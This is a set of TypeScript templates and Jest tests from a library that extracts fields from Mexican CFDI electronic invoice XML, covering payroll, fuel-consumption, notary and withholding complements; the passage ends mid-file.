position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"tipoCombustible",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles11:Determinados": {
nodes: {
"consumodecombustibles11:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import nomina12Template from "../nomina12";
describe("Nomina 12 data test", () => {
it("Execute without params", () => {
expect(nomina12Template()).toEqual({
"Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.2',
attributes: [
"version",
"tipoNomina",
"fechaPago",
"fechaInicialPago",
"fechaFinalPago",
"numDiasPagados",
"totalPercepciones",
"totalDeducciones",
"totalOtrosPagos"
],
nodes: {
"Emisor": {
position: "emisor",
attributes: ["curp", "registroPatronal", "rfcPatronOrigen"],
nodes: {
"EntidadSNCF": {
position: "entidades",
strictArrayResponse: true,
attributes: ["origenRecurso", "montoRecursoPropio"]
}
}
},
"Receptor": {
position: "receptor",
attributes: [
"curp",
"tipoContrato",
"tipoRegimen",
"numEmpleado",
"periodicidadPago",
"claveEntFed",
"numSeguridadSocial",
"fechaInicioRelLaboral",
"antigüedad",
"sindicalizado",
"tipoJornada",
"departamento",
"puesto",
"riesgoPuesto",
"banco",
"cuentaBancaria",
"salarioBaseCotApor",
"salarioDiarioIntegrado"
],
nodes: {
"SubContratacion": {
position: "subContrataciones",
strictArrayResponse: true,
attributes: ["rfcLabora", "porcentajeTiempo"]
}
}
},
"Percepciones": {
position: "percepciones",
attributes: [
"totalGravado",
"totalExento",
"totalJubilacionPensionRetiro",
"totalSeparacionIndemnizacion",
"totalSueldos"
],
nodes: {
"Percepcion": {
position: "arrayPercepciones",
strictArrayResponse: true,
attributes: [
"tipoPercepcion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
nodes: {
"HorasExtra": {
position: "horasExtra",
strictArrayResponse: true,
attributes: [
"dias",
"tipoHoras",
"horasExtra",
"importePagado"
]
}
}
},
"JubilacionPensionRetiro": {
position: "arrayJubilacionPensionRetiro",
strictArrayResponse: true,
attributes: [
"totalUnaExhibicion",
"totalParcialidad",
"montoDiario",
"ingresoAcumulable",
"ingresoNoAcumulable"
]
},
"SeparacionIndemnizacion": {
position: "arraySeparacionIndemnizacion",
strictArrayResponse: true,
attributes: [
"totalPagado",
"numAñosServicio",
"ultimoSueldoMensOrd",
"ingresoAcumulable",
"IngresoNoAcumulable"
]
}
}
},
"OtrosPagos": {
nodes: {
"OtroPago": {
position: "otrosPagos",
strictArrayResponse: true,
attributes: ["tipoOtroPago", "clave", "concepto", "importe"],
nodes: {
"SubsidioAlEmpleo": {
attributes: ["subsidioCausado"],
},
"CompensacionSaldosAFavor": {
attributes: ["saldoAFavor", "remanenteSalFav"],
}
}
}
}
},
"Deducciones": {
position: "deducciones",
attributes: ["totalOtrasDeducciones", "totalImpuestosRetenidos"],
nodes: {
"Deduccion": {
position: "arrayDeducciones",
strictArrayResponse: true,
attributes: ["tipoDeduccion", "clave", "concepto", "importe"]
}
}
},
"Incapacidades": {
nodes: {
"Incapacidad": {
position: "incapacidades",
strictArrayResponse: true,
attributes: [
"diasIncapacidad",
"tipoIncapacidad",
"importeMonetario"
]
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(nomina12Template({ minimalData: false })).toEqual({
"Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.2',
attributes: [
"version",
"tipoNomina",
"fechaPago",
"fechaInicialPago",
"fechaFinalPago",
"numDiasPagados",
"totalPercepciones",
"totalDeducciones",
"totalOtrosPagos"
],
nodes: {
"Emisor": {
position: "emisor",
attributes: ["curp", "registroPatronal", "rfcPatronOrigen"],
nodes: {
"EntidadSNCF": {
position: "entidades",
strictArrayResponse: true,
attributes: ["origenRecurso", "montoRecursoPropio"]
}
}
},
"Receptor": {
position: "receptor",
attributes: [
"curp",
"tipoContrato",
"tipoRegimen",
"numEmpleado",
"periodicidadPago",
"claveEntFed",
"numSeguridadSocial",
"fechaInicioRelLaboral",
"antigüedad",
"sindicalizado",
"tipoJornada",
"departamento",
"puesto",
"riesgoPuesto",
"banco",
"cuentaBancaria",
"salarioBaseCotApor",
"salarioDiarioIntegrado"
],
nodes: {
"SubContratacion": {
position: "subContrataciones",
strictArrayResponse: true,
attributes: ["rfcLabora", "porcentajeTiempo"]
}
}
},
"Percepciones": {
position: "percepciones",
attributes: [
"totalGravado",
"totalExento",
"totalJubilacionPensionRetiro",
"totalSeparacionIndemnizacion",
"totalSueldos"
],
nodes: {
"Percepcion": {
position: "arrayPercepciones",
strictArrayResponse: true,
attributes: [
"tipoPercepcion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
nodes: {
"HorasExtra": {
position: "horasExtra",
strictArrayResponse: true,
attributes: [
"dias",
"tipoHoras",
"horasExtra",
"importePagado"
]
}
}
},
"JubilacionPensionRetiro": {
position: "arrayJubilacionPensionRetiro",
strictArrayResponse: true,
attributes: [
"totalUnaExhibicion",
"totalParcialidad",
"montoDiario",
"ingresoAcumulable",
"ingresoNoAcumulable"
]
},
"SeparacionIndemnizacion": {
position: "arraySeparacionIndemnizacion",
strictArrayResponse: true,
attributes: [
"totalPagado",
"numAñosServicio",
"ultimoSueldoMensOrd",
"ingresoAcumulable",
"IngresoNoAcumulable"
]
}
}
},
"OtrosPagos": {
nodes: {
"OtroPago": {
position: "otrosPagos",
strictArrayResponse: true,
attributes: ["tipoOtroPago", "clave", "concepto", "importe"],
nodes: {
"SubsidioAlEmpleo": {
attributes: ["subsidioCausado"],
},
"CompensacionSaldosAFavor": {
attributes: ["saldoAFavor", "remanenteSalFav"],
}
}
}
}
},
"Deducciones": {
position: "deducciones",
attributes: ["totalOtrasDeducciones", "totalImpuestosRetenidos"],
nodes: {
"Deduccion": {
position: "arrayDeducciones",
strictArrayResponse: true,
attributes: ["tipoDeduccion", "clave", "concepto", "importe"]
}
}
},
"Incapacidades": {
nodes: {
"Incapacidad": {
position: "incapacidades",
strictArrayResponse: true,
attributes: [
"diasIncapacidad",
"tipoIncapacidad",
"importeMonetario"
]
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(nomina12Template({ minimalData: true })).toEqual({
"Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.2',
attributes: ["version"]
}
});
});
});
<file_sep>import nominaTemplate from "../nomina11";
describe("Nomina 11 data test", () => {
it("Execute without params", () => {
expect(nominaTemplate()).toEqual({
"nomina:Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.1',
attributes: [
"banco",
"antiguedad",
"numEmpleado",
"tipoJornada",
"tipoRegimen",
"tipoContrato",
"fechaInicioRelLaboral",
"fechaInicialPago",
"fechaFinalPago",
"fechaPago",
"curp",
"version",
"periodicidadPago",
"tipoRegimen",
"numSeguridadSocial",
"registroPatronal",
"puesto",
"departamento",
"salarioDiarioIntegrado",
"salarioBaseCotApor"
],
nodes: {
"nomina:Percepciones": {
position: "percepciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Percepcion": {
attributes: [
"tipoPercepcion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayPercepciones"
}
}
},
"nomina:Deducciones": {
position: "deducciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Deduccion": {
attributes: [
"tipoDeduccion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayDeducciones"
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(nominaTemplate({ minimalData: false })).toEqual({
"nomina:Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.1',
attributes: [
"banco",
"antiguedad",
"numEmpleado",
"tipoJornada",
"tipoRegimen",
"tipoContrato",
"fechaInicioRelLaboral",
"fechaInicialPago",
"fechaFinalPago",
"fechaPago",
"curp",
"version",
"periodicidadPago",
"tipoRegimen",
"numSeguridadSocial",
"registroPatronal",
"puesto",
"departamento",
"salarioDiarioIntegrado",
"salarioBaseCotApor"
],
nodes: {
"nomina:Percepciones": {
position: "percepciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Percepcion": {
attributes: [
"tipoPercepcion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayPercepciones"
}
}
},
"nomina:Deducciones": {
position: "deducciones",
attributes: ["totalGravado", "totalExento"],
nodes: {
"nomina:Deduccion": {
attributes: [
"tipoDeduccion",
"clave",
"concepto",
"importeGravado",
"importeExento"
],
strictArrayResponse: true,
position: "arrayDeducciones"
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(nominaTemplate({ minimalData: true })).toEqual({
"nomina:Nomina": {
strictArrayResponse: true,
position: "nominas",
version: '1.1',
attributes: ["version"]
}
});
});
});
<file_sep>import conceptosAcreditamientoIeps from "../conceptos.acreditamiento-ieps";
describe("Conceptos acred ieps data test", () => {
it("Execute with minimalData", () => {
expect(conceptosAcreditamientoIeps()).toEqual({
"aieps:acreditamientoIEPS": {
postion: "acreditamientoIEPS",
attributes: ["version", "tar"]
}
});
});
});
<file_sep>import cfdiRegistroFiscalTemplate from "../cfdi-registro-fiscal";
describe("Cfdi-registro-fical data test", () => {
it("Execute without params", () => {
expect(cfdiRegistroFiscalTemplate()).toEqual({
"registrofiscal:CFDIRegistroFiscal": {
position: "cfdiRegistroFiscal",
attributes: ["version", "folio"]
}
});
});
it("Execute with minimalData:false", () => {
expect(cfdiRegistroFiscalTemplate({ minimalData: false })).toEqual({
"registrofiscal:CFDIRegistroFiscal": {
position: "cfdiRegistroFiscal",
attributes: ["version", "folio"]
}
});
});
it("execute with minimalData:true", () => {
expect(cfdiRegistroFiscalTemplate({ minimalData: true })).toEqual({
"registrofiscal:CFDIRegistroFiscal": {
position: "cfdiRegistroFiscal",
attributes: ["version"]
}
});
});
});
<file_sep>import detallistaTemplate from "../detallista";
describe("Detallista data test", () => {
it("Execute without params", () => {
expect(detallistaTemplate()).toEqual({
"detallista:detallista": {
position: "detallista",
attributes: [
"type",
"contentVersion",
"documentStructureVersion",
"documentStatus"
]
}
});
});
it("Execute with minimalData: False", () => {
expect(detallistaTemplate({ minimalData: false })).toEqual({
"detallista:detallista": {
position: "detallista",
attributes: [
"type",
"contentVersion",
"documentStructureVersion",
"documentStatus"
]
}
});
});
it("Execute with minimalData: True", () => {
expect(detallistaTemplate({ minimalData: true })).toEqual({
"detallista:detallista": {
position: "detallista",
attributes: ["type", "contentVersion"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"destruccion:certificadodedestruccion": {
position: "certificadoDestruccion",
attributes: ["version", "serie", "numFolDesVeh"]
}
};
export const allDataDefinition = minimalDataDefinition;
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import CfdiExtractData from './CfdiExtractData';
const {
getUuidByXML,
getXMLVersion,
getConcepts32Definition,
getConcepts33Definition,
extractGeneralData: parse,
getByCustomTemplateDefinition: parseByCustomTemplate,
} = CfdiExtractData;
export {
parse,
getUuidByXML,
getXMLVersion,
parseByCustomTemplate,
getConcepts32Definition,
getConcepts33Definition,
};
<file_sep>import plataformasTemplate from "../retenciones.plataformasTecnologicas10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(plataformasTemplate()).toEqual({
"plataformasTecnologicas:ServiciosPlataformasTecnologicas": {
"attributes": [
"version",
"periodicidad",
"numServ",
"monTotServSIVA",
"totalIVATrasladado",
"totalIVARetenido",
"totalISRRetenido",
"difIVAEntregadoPrestServ",
"monTotalporUsoPlataforma",
"MonTotalContribucionGubernamental",
],
"nodes": {
"plataformasTecnologicas:Servicios": {
"strictArrayResponse": true,
"nodes": {
"plataformasTecnologicas:DetallesDelServicio": {
"position": "detalles",
"attributes": [
"formaPagoServ",
"tipoDeServ",
"subTipServ",
"RFCTerceroAutorizado",
"fechaServ",
"precioServSinIVA",
],
"nodes": {
"plataformasTecnologicas:ComisionDelServicio": {
"attributes": [
"base",
"porcentaje",
"importe",
],
"position": "comisionesDelServicio",
"strictArrayResponse": true,
},
"plataformasTecnologicas:ContribucionGubernamental": {
"attributes": [
"impContrib",
"entidadDondePagaLaContribucion",
],
"position": "contribucionesGubernamentales",
"strictArrayResponse": true,
},
"plataformasTecnologicas:ImpuestosTrasladadosdelServicio": {
"attributes": [
"base",
"impuesto",
"tipoFactor",
"tasaCuota",
"importe",
],
"position": "traslados",
"strictArrayResponse": true,
},
},
"strictArrayResponse": true,
},
},
"position": "servicios",
},
},
"position": "plataformasTecnologicas",
},
});
});
it("Execute with minimalData true", () => {
expect(
plataformasTemplate({
minimalData: true
})
).toEqual({
"plataformasTecnologicas:ServiciosPlataformasTecnologicas": {
"attributes": [
"version",
],
"position": "plataformasTecnologicas",
},
});
});
it("Execute with minimalData false", () => {
expect(
plataformasTemplate({
minimalData: false
})
).toEqual({
"plataformasTecnologicas:ServiciosPlataformasTecnologicas": {
"attributes": [
"version",
"periodicidad",
"numServ",
"monTotServSIVA",
"totalIVATrasladado",
"totalIVARetenido",
"totalISRRetenido",
"difIVAEntregadoPrestServ",
"monTotalporUsoPlataforma",
"MonTotalContribucionGubernamental",
],
"nodes": {
"plataformasTecnologicas:Servicios": {
"strictArrayResponse": true,
"nodes": {
"plataformasTecnologicas:DetallesDelServicio": {
"position": "detalles",
"attributes": [
"formaPagoServ",
"tipoDeServ",
"subTipServ",
"RFCTerceroAutorizado",
"fechaServ",
"precioServSinIVA",
],
"nodes": {
"plataformasTecnologicas:ComisionDelServicio": {
"attributes": [
"base",
"porcentaje",
"importe",
],
"position": "comisionesDelServicio",
"strictArrayResponse": true,
},
"plataformasTecnologicas:ContribucionGubernamental": {
"attributes": [
"impContrib",
"entidadDondePagaLaContribucion",
],
"position": "contribucionesGubernamentales",
"strictArrayResponse": true,
},
"plataformasTecnologicas:ImpuestosTrasladadosdelServicio": {
"attributes": [
"base",
"impuesto",
"tipoFactor",
"tasaCuota",
"importe",
],
"position": "traslados",
"strictArrayResponse": true,
},
},
"strictArrayResponse": true,
},
},
"position": "servicios",
},
},
"position": "plataformasTecnologicas",
},
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"consumodecombustibles:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: ["version"]
}
};
export const allDataDefinition = {
"consumodecombustibles:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles:Conceptos": {
nodes: {
"consumodecombustibles:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles:Determinados": {
nodes: {
"consumodecombustibles:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import interesesHipotecarios10Template from "../retenciones.interesesHipotecarios10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(interesesHipotecarios10Template()).toEqual({
"intereseshipotecarios:Intereseshipotecarios": {
position: "interesesHipotecarios",
attributes: [
"version",
"creditoDeInstFinanc",
"saldoInsoluto",
"propDeducDelCredit",
"montTotIntNominalesDev",
"montTotIntNominalesDevYPag",
"montTotIntRealPagDeduc",
"numContrato",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
interesesHipotecarios10Template({
minimalData: true
})
).toEqual({
"intereseshipotecarios:Intereseshipotecarios": {
position: "interesesHipotecarios",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
interesesHipotecarios10Template({
minimalData: false
})
).toEqual({
"intereseshipotecarios:Intereseshipotecarios": {
position: "interesesHipotecarios",
attributes: [
"version",
"creditoDeInstFinanc",
"saldoInsoluto",
"propDeducDelCredit",
"montTotIntNominalesDev",
"montTotIntNominalesDevYPag",
"montTotIntRealPagDeduc",
"numContrato",
]
}
});
});
});
<file_sep>import CfdiExtractData from "..";
describe("CfdiExtractData:Cosumodeconbustibles10", () => {
it("test1", () => {
expect(
CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
xmlns:consumodecombustibles="http://www.sat.gob.mx/Consumodecombustibles"
Version="3.3"
>
<cfdi:Complemento>
<consumodecombustibles:ConsumoDeCombustibles version="1.0" tipoOperacion="monedero electrónico"
numeroDeCuenta="A001385-1" total="158581.25">
<consumodecombustibles:Conceptos>
<consumodecombustibles:ConceptoConsumoDeCombustibles identificador="13847"
fecha="2014-07-01T03:08:22" rfc="SMP620426HT0" claveEstacion="555" cantidad="120.48"
nombreCombustible="Diesel" folioOperacion="1477" valorUnitario="13.28" importe="1600.00">
<consumodecombustibles:Determinados>
<consumodecombustibles:Determinado impuesto="IVA" tasa="16" importe="220.69"/>
</consumodecombustibles:Determinados>
</consumodecombustibles:ConceptoConsumoDeCombustibles>
<consumodecombustibles:ConceptoConsumoDeCombustibles identificador="198846"
fecha="2014-07-01T03:09:18" rfc="SMO920826HB0" claveEstacion="208" cantidad="112.95"
nombreCombustible="Diesel" folioOperacion="1478" valorUnitario="13.28" importe="1500.00">
<consumodecombustibles:Determinados>
<consumodecombustibles:Determinado impuesto="IVA" tasa="16" importe="206.90"/>
</consumodecombustibles:Determinados>
</consumodecombustibles:ConceptoConsumoDeCombustibles>
<consumodecombustibles:ConceptoConsumoDeCombustibles identificador="235248"
fecha="2014-07-01T03:13:33" rfc="SMO920826HB0" claveEstacion="208" cantidad="47.78"
nombreCombustible="Magna" folioOperacion="1479" valorUnitario="12.77" importe="610.15">
<consumodecombustibles:Determinados>
<consumodecombustibles:Determinado impuesto="IVA" tasa="16" importe="84.16"/>
</consumodecombustibles:Determinados>
</consumodecombustibles:ConceptoConsumoDeCombustibles>
<consumodecombustibles:ConceptoConsumoDeCombustibles identificador="264229"
fecha="2014-07-08T08:59:00" rfc="SMO920826HB0" claveEstacion="208" cantidad="15.55"
nombreCombustible="Magna" folioOperacion="1569" valorUnitario="12.86" importe="200.00">
<consumodecombustibles:Determinados>
<consumodecombustibles:Determinado impuesto="IVA" tasa="16" importe="27.59"/>
</consumodecombustibles:Determinados>
</consumodecombustibles:ConceptoConsumoDeCombustibles>
</consumodecombustibles:Conceptos>
</consumodecombustibles:ConsumoDeCombustibles>
</cfdi:Complemento>
</cfdi:Comprobante>
`
})
).toEqual({
version: "3.3",
consumoDeCombustibles: {
conceptos: [
{
cantidad: "120.48",
claveEstacion: "555",
determinados: [
{
importe: "220.69",
impuesto: "IVA",
tasa: "16"
}
],
fecha: "2014-07-01T03:08:22",
folioOperacion: "1477",
identificador: "13847",
importe: "1600.00",
nombreCombustible: "Diesel",
rfc: "SMP620426HT0",
valorUnitario: "13.28"
},
{
cantidad: "112.95",
claveEstacion: "208",
determinados: [
{
importe: "206.90",
impuesto: "IVA",
tasa: "16"
}
],
fecha: "2014-07-01T03:09:18",
folioOperacion: "1478",
identificador: "198846",
importe: "1500.00",
nombreCombustible: "Diesel",
rfc: "SMO920826HB0",
valorUnitario: "13.28"
},
{
cantidad: "47.78",
claveEstacion: "208",
determinados: [
{
importe: "84.16",
impuesto: "IVA",
tasa: "16"
}
],
fecha: "2014-07-01T03:13:33",
folioOperacion: "1479",
identificador: "235248",
importe: "610.15",
nombreCombustible: "Magna",
rfc: "SMO920826HB0",
valorUnitario: "12.77"
},
{
cantidad: "15.55",
claveEstacion: "208",
determinados: [
{
importe: "27.59",
impuesto: "IVA",
tasa: "16"
}
],
fecha: "2014-07-08T08:59:00",
folioOperacion: "1569",
identificador: "264229",
importe: "200.00",
nombreCombustible: "Magna",
rfc: "SMO920826HB0",
valorUnitario: "12.86"
}
],
numeroDeCuenta: "A001385-1",
tipoOperacion: "monedero electrónico",
total: "158581.25",
version: "1.0"
}
});
});
});
<file_sep>import servParConstDefinitionTemplate from "../servicio-parcial-construccion-definition";
describe("Servicio parcial construccion definition data test", () => {
it("Execute without params", () => {
expect(servParConstDefinitionTemplate()).toEqual({
"servicioparcial:parcialesconstruccion": {
position: "servicioParcial",
attributes: ["version", "numPerLicoAut"],
nodes: {
"servicioparcial:Inmueble": {
attributes: [
"calle",
"noExterior",
"noInterior",
"colonia",
"localidad",
"referencia",
"municipio",
"estado",
"codigoPostal"
]
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(servParConstDefinitionTemplate({ minimalData: false })).toEqual({
"servicioparcial:parcialesconstruccion": {
position: "servicioParcial",
attributes: ["version", "numPerLicoAut"],
nodes: {
"servicioparcial:Inmueble": {
attributes: [
"calle",
"noExterior",
"noInterior",
"colonia",
"localidad",
"referencia",
"municipio",
"estado",
"codigoPostal"
]
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(servParConstDefinitionTemplate({ minimalData: true })).toEqual({
"servicioparcial:parcialesconstruccion": {
position: "servicioParcial",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"TimbreFiscalDigital": {
position: "timbreFiscal",
attributes: ["fechaTimbrado", "uuid"]
}
};
export const allDataDefinition = {
"TimbreFiscalDigital": {
position: "timbreFiscal",
attributes: [
"fechaTimbrado",
"uuid",
"noCertificadoSAT",
"selloSAT",
"selloCFD",
"RFCProvCertif"
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"intereseshipotecarios:Intereseshipotecarios": {
position: "interesesHipotecarios",
attributes: ["version"]
}
};
export const allDataDefinition = {
"intereseshipotecarios:Intereseshipotecarios": {
position: "interesesHipotecarios",
attributes: [
"version",
"creditoDeInstFinanc",
"saldoInsoluto",
"propDeducDelCredit",
"montTotIntNominalesDev",
"montTotIntNominalesDevYPag",
"montTotIntRealPagDeduc",
"numContrato",
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import intereses10Template from "../retenciones.intereses10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(intereses10Template()).toEqual({
"intereses:Intereses": {
position: "intereses",
attributes: [
"version",
"sistFinanciero",
"retiroAORESRetInt",
"operFinancDerivad",
"montIntNominal",
"montIntReal",
"perdida",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
intereses10Template({
minimalData: true
})
).toEqual({
"intereses:Intereses": {
position: "intereses",
attributes: [ "version" ]
}
});
});
it("Execute with minimalData false", () => {
expect(
intereses10Template({
minimalData: false
})
).toEqual({
"intereses:Intereses": {
position: "intereses",
attributes: [
"version",
"sistFinanciero",
"retiroAORESRetInt",
"operFinancDerivad",
"montIntNominal",
"montIntReal",
"perdida",
]
}
});
});
});
<file_sep>import planesDeRetiro10Template from "../retenciones.planesDeRetiro10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(planesDeRetiro10Template()).toEqual({
"planesderetiro:Planesderetiro": {
position: "planesDeRetiro",
attributes: [
"version",
"sistemaFinanc",
"montTotAportAnioInmAnterior",
"montIntRealesDevengAniooInmAnt",
"huboRetirosAnioInmAntPer",
"montTotRetiradoAnioInmAntPer",
"montTotExentRetiradoAnioInmAnt",
"montTotExedenteAnioInmAnt",
"huboRetirosAnioInmAnt",
"montTotRetiradoAnioInmAnt",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
planesDeRetiro10Template({
minimalData: true
})
).toEqual({
"planesderetiro:Planesderetiro": {
position: "planesDeRetiro",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
planesDeRetiro10Template({
minimalData: false
})
).toEqual({
"planesderetiro:Planesderetiro": {
position: "planesDeRetiro",
attributes: [
"version",
"sistemaFinanc",
"montTotAportAnioInmAnterior",
"montIntRealesDevengAniooInmAnt",
"huboRetirosAnioInmAntPer",
"montTotRetiradoAnioInmAntPer",
"montTotExentRetiradoAnioInmAnt",
"montTotExedenteAnioInmAnt",
"huboRetirosAnioInmAnt",
"montTotRetiradoAnioInmAnt",
]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"ecb:EstadoDeCuentaBancario": {
position: "estadoCuentaBancario",
attributes: ["version"]
}
};
export const allDataDefinition = {
"ecb:EstadoDeCuentaBancario": {
position: "estadoCuentaBancario",
attributes: ["version", "numeroCuenta", "nombreCliente", "periodo", "sucursal"],
nodes: {
"ecb:Movimientos": {
"ecb:MovimientoECB": {
strictArrayResponse: true,
position: "movimientosECB",
attributes: [
"fecha",
"referencia",
"descripcion",
"importe",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
"ecb:MovimientoECBFiscal": {
strictArrayResponse: true,
position: "movimientosECBFiscal",
attributes: [
"fecha",
"referencia",
"descripcion",
"RFCenajenante",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
},
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"fideicomisonoempresarial:Fideicomisonoempresarial": {
position: "fideicomisoNoEmpresarial",
attributes: ["version"]
}
};
export const allDataDefinition = {
"fideicomisonoempresarial:Fideicomisonoempresarial": {
position: "fideicomisoNoEmpresarial",
attributes: [ "version" ],
nodes: {
"fideicomisonoempresarial:IngresosOEntradas": {
strictArrayResponse: true,
position: "ingresosOEntradas",
attributes: [
"montTotEntradasPeriodo",
"partPropAcumDelFideicom",
"propDelMontTot",
],
nodes: {
"integracIngresos": {
attributes: [ "concepto" ]
}
}
},
"fideicomisonoempresarial:DeduccOSalidas": {
strictArrayResponse: true,
position: "deduccOSalidas",
attributes: [
"montTotEgresPeriodo",
"partPropDelFideicom",
"propDelMontTot",
],
nodes: {
"IntegracEgresos": {
attributes: [ "conceptoS" ]
}
}
},
"fideicomisonoempresarial:RetEfectFideicomiso": {
strictArrayResponse: true,
position: "retEfectFideicomiso",
attributes: [
"montRetRelPagFideic",
"descRetRelPagFideic",
]
},
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import notariosTemplate from "../notarios";
describe("Notarios data test", () => {
it("Execute without params", () => {
expect(notariosTemplate()).toEqual({
"notariospublicos:NotariosPublicos": {
position: "notariosPublicos",
attributes: ["version"],
nodes: {
"notariospublicos:DescInmuebles": {
nodes: {
"notariospublicos:DescInmueble": {
strictArrayResponse: true,
position: "descInmuebles",
attributes: [
"tipoInmueble",
"calle",
"noExterior",
"noInterior",
"colonia",
"localidad",
"referencia",
"municipio",
"estado",
"pais",
"codigoPostal"
]
}
}
},
"notariospublicos:DatosOperacion": {
position: "datosOperacion",
attributes: [
"numInstrumentoNotarial",
"fechaInstNotarial",
"montoOperacion",
"subTotal",
"IVA"
]
},
"notariospublicos:DatosNotario": {
position: "datosNotario",
attributes: [
"curp",
"numNotaria",
"entidadFederativa",
"adscripcion"
]
},
"notariospublicos:DatosEnajenante": {
position: "datosEnajenante",
attributes: ["coproSocConyugalE"],
nodes: {
"notariospublicos:DatosUnEnajenante": {
position: "datosUnEnajenante",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"curp"
]
},
"notariospublicos:DatosEnajenantesCopSC": {
nodes: {
"notariospublicos:DatosEnajenanteCopSC": {
strictArrayResponse: true,
position: "datosEnajenanteCopSC",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"porcentaje"
]
}
}
}
}
},
"notariospublicos:DatosAdquiriente": {
position: "datosAdquiriente",
attributes: ["coproSocConyugalE"],
nodes: {
"notariospublicos:DatosUnAdquiriente": {
position: "datosUnAdquiriente",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"curp"
]
},
"notariospublicos:DatosAdquirientesCopSC": {
nodes: {
"notariospublicos:DatosAdquirienteCopSC": {
strictArrayResponse: true,
position: "datosAdquirientesCopSC",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"porcentaje"
]
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(notariosTemplate({ minimalData: false })).toEqual({
"notariospublicos:NotariosPublicos": {
position: "notariosPublicos",
attributes: ["version"],
nodes: {
"notariospublicos:DescInmuebles": {
nodes: {
"notariospublicos:DescInmueble": {
strictArrayResponse: true,
position: "descInmuebles",
attributes: [
"tipoInmueble",
"calle",
"noExterior",
"noInterior",
"colonia",
"localidad",
"referencia",
"municipio",
"estado",
"pais",
"codigoPostal"
]
}
}
},
"notariospublicos:DatosOperacion": {
position: "datosOperacion",
attributes: [
"numInstrumentoNotarial",
"fechaInstNotarial",
"montoOperacion",
"subTotal",
"IVA"
]
},
"notariospublicos:DatosNotario": {
position: "datosNotario",
attributes: [
"curp",
"numNotaria",
"entidadFederativa",
"adscripcion"
]
},
"notariospublicos:DatosEnajenante": {
position: "datosEnajenante",
attributes: ["coproSocConyugalE"],
nodes: {
"notariospublicos:DatosUnEnajenante": {
position: "datosUnEnajenante",
attributes: [
"nombre",
"apellidoPaterno",
"apellidoMaterno",
"rfc",
"curp"
]
},
"notariospublicos:DatosEnajenantesCopSC": {
nodes: {
